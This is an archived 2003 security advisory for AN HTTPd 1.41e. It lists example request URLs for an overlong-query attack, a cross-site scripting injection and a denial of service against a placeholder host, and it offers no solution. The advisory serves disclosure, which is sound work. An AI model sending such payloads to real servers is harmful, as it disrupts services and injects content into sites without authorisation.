AOH :: Web :: Servers :: WEEB5908.HTM

AN HTTPd DoS, CSS, real patch attack

5th Jan 2003 [SBWID-5908]
COMMAND

	AN HTTPd DoS, CSS, real patch attack

SYSTEMS AFFECTED

	AN HTTPd v.1.41e

PROBLEM

	In D4rkGr3y of Damage Hacking  Group  security  [http://www.dhgroup.org]
	advisory :
	    
	(1) real patch attack:
	
	 http://www.vuln_host.com/[script]?aaaaaa..[1kb]...aaaaaa
	
	Where [script] - any cgi\batch script.
	
	(2) CSS:
	
	 http://www.vuln_host.com/[script]?<h1>HACKED</h1>aaaa..[up_to_1kb]..aaaa
	
	(3) DoS:
	
	 http://www.vuln_host.com/aux.cgi?aaaa..[1kb]..aaaa
	
	AN HTTPd will return error "broken pipe" every time, when somebody  will
	execute any cgi\batch scripts on it.

SOLUTION

	?

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